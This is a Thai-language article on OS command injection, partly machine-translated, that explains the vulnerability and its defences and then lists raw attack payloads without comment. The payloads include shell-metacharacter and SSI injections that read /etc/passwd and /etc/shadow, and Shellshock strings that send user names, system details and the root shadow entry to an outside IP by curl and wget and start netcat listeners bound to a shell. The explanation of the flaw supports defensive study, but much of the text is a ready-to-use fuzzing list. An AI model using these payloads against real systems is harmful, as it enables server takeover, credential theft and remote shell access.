การฉีดคำสั่งเป็นการโจมตีที่เป้าหมายคือการดำเนินการตามคำสั่งโดยพลการในระบบปฏิบัติการโฮสต์ผ่านแอปพลิเคชันที่มีช่องโหว่ การโจมตีแบบฉีดคำสั่งเป็นไปได้เมื่อแอปพลิเคชันผ่านข้อมูลที่ผู้ใช้ไม่ปลอดภัย (แบบฟอร์ม, คุกกี้, ส่วนหัว HTTP ฯลฯ ) ไปยังเปลือกระบบ ในการโจมตีนี้คำสั่งระบบปฏิบัติการที่ผู้โจมตีมักจะถูกดำเนินการด้วยสิทธิ์ของแอปพลิเคชันที่มีช่องโหว่ การโจมตีการฉีดคำสั่งเป็นไปได้ส่วนใหญ่เนื่องจากการตรวจสอบอินพุตไม่เพียงพอ
การโจมตีนี้แตกต่างจากการฉีดรหัสในการฉีดรหัสนั้นช่วยให้ผู้โจมตีสามารถเพิ่มรหัสของเขาเองที่ใช้งานโดยแอปพลิเคชัน ในการฉีดคำสั่งผู้โจมตีจะขยายฟังก์ชั่นเริ่มต้นของแอปพลิเคชันซึ่งดำเนินการคำสั่งระบบโดยไม่จำเป็นต้องฉีดรหัส
การฉีดคำสั่ง OS เป็นช่องโหว่ที่สำคัญที่ช่วยให้ผู้โจมตีสามารถควบคุมเว็บไซต์ที่ได้รับผลกระทบและเว็บเซิร์ฟเวอร์พื้นฐานได้อย่างสมบูรณ์
ช่องโหว่การฉีดคำสั่ง OS เกิดขึ้นเมื่อแอปพลิเคชันรวมข้อมูลผู้ใช้ไว้ในคำสั่งระบบปฏิบัติการที่ดำเนินการ ผู้โจมตีสามารถจัดการข้อมูลเพื่อให้คำสั่งของตนเองทำงาน สิ่งนี้ช่วยให้ผู้โจมตีดำเนินการใด ๆ ที่แอปพลิเคชันสามารถดำเนินการได้รวมถึงการอ่านหรือแก้ไขข้อมูลทั้งหมดและดำเนินการตามสิทธิพิเศษ
นอกเหนือจากการประนีประนอมทั้งหมดของเว็บเซิร์ฟเวอร์ตัวเองผู้โจมตีสามารถใช้ประโยชน์จากช่องโหว่การฉีดคำสั่งเพื่อหมุนการโจมตีในโครงสร้างพื้นฐานภายในขององค์กรซึ่งอาจเข้าถึงระบบใด ๆ ที่เว็บเซิร์ฟเวอร์สามารถเข้าถึงได้ พวกเขาอาจสามารถสร้างตั้งหลักได้ภายในองค์กรโดยไม่สามารถเข้าถึงระบบที่ถูกบุกรุกได้อย่างต่อเนื่องแม้หลังจากช่องโหว่ดั้งเดิมได้รับการแก้ไขแล้ว
ช่องโหว่การฉีดคำสั่งระบบปฏิบัติการเกิดขึ้นเมื่อแอปพลิเคชันรวมข้อมูลที่ควบคุมได้ของผู้ใช้ไว้ในคำสั่งที่ประมวลผลโดยล่ามคำสั่งเชลล์ หากข้อมูลผู้ใช้ไม่ได้รับการตรวจสอบอย่างเคร่งครัดผู้โจมตีสามารถใช้เชลล์ metacharacters เพื่อแก้ไขคำสั่งที่ดำเนินการและฉีดคำสั่งเพิ่มเติมโดยพลการซึ่งจะดำเนินการโดยเซิร์ฟเวอร์
ช่องโหว่การฉีดคำสั่ง OS มักจะร้ายแรงมากและอาจนำไปสู่การประนีประนอมของเซิร์ฟเวอร์ที่โฮสต์แอปพลิเคชันหรือข้อมูลและฟังก์ชั่นของแอปพลิเคชัน อาจเป็นไปได้ที่จะใช้เซิร์ฟเวอร์เป็นแพลตฟอร์มสำหรับการโจมตีระบบอื่น ๆ ศักยภาพที่แน่นอนสำหรับการแสวงหาผลประโยชน์ขึ้นอยู่กับบริบทความปลอดภัยที่คำสั่งถูกดำเนินการและสิทธิพิเศษที่บริบทนี้มีเกี่ยวกับทรัพยากรที่ละเอียดอ่อนบนเซิร์ฟเวอร์
หากเป็นไปได้แอปพลิเคชันควรหลีกเลี่ยงการรวมข้อมูลที่ผู้ใช้ควบคุมได้ลงในคำสั่งระบบปฏิบัติการ ในเกือบทุกสถานการณ์มีวิธีทางเลือกที่ปลอดภัยกว่าในการปฏิบัติงานระดับเซิร์ฟเวอร์ซึ่งไม่สามารถจัดการได้เพื่อดำเนินการคำสั่งเพิ่มเติมมากกว่าที่ตั้งใจไว้
หากถือว่าหลีกเลี่ยงไม่ได้ที่จะรวมข้อมูลที่ผู้ใช้จัดหาไว้ในคำสั่งระบบปฏิบัติการควรใช้สองชั้นของการป้องกันต่อไปนี้เพื่อป้องกันการโจมตี:
ข้อมูลผู้ใช้ควรได้รับการตรวจสอบอย่างเคร่งครัด ควรใช้ผู้ที่อนุญาตให้ใช้ค่าที่ยอมรับเฉพาะเจาะจง มิฉะนั้นควรยอมรับเฉพาะสตริงตัวอักษรและตัวเลขสั้น ๆ อินพุตที่มีข้อมูลอื่น ๆ รวมถึง metacharacter หรือ whitespace เชลล์ที่เป็นไปได้ใด ๆ ควรถูกปฏิเสธ
แอปพลิเคชันควรใช้ API คำสั่งที่เปิดกระบวนการเฉพาะผ่านพารามิเตอร์ชื่อและบรรทัดคำสั่งแทนที่จะส่งสตริงคำสั่งไปยังเชลล์ล่ามที่รองรับการผูกมัดคำสั่งและการเปลี่ยนเส้นทาง ตัวอย่างเช่น Java API runtime.exec และกระบวนการ ASP.NET API ไม่สนับสนุนเชลล์ metacharacters การป้องกันนี้สามารถลดลงได้
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>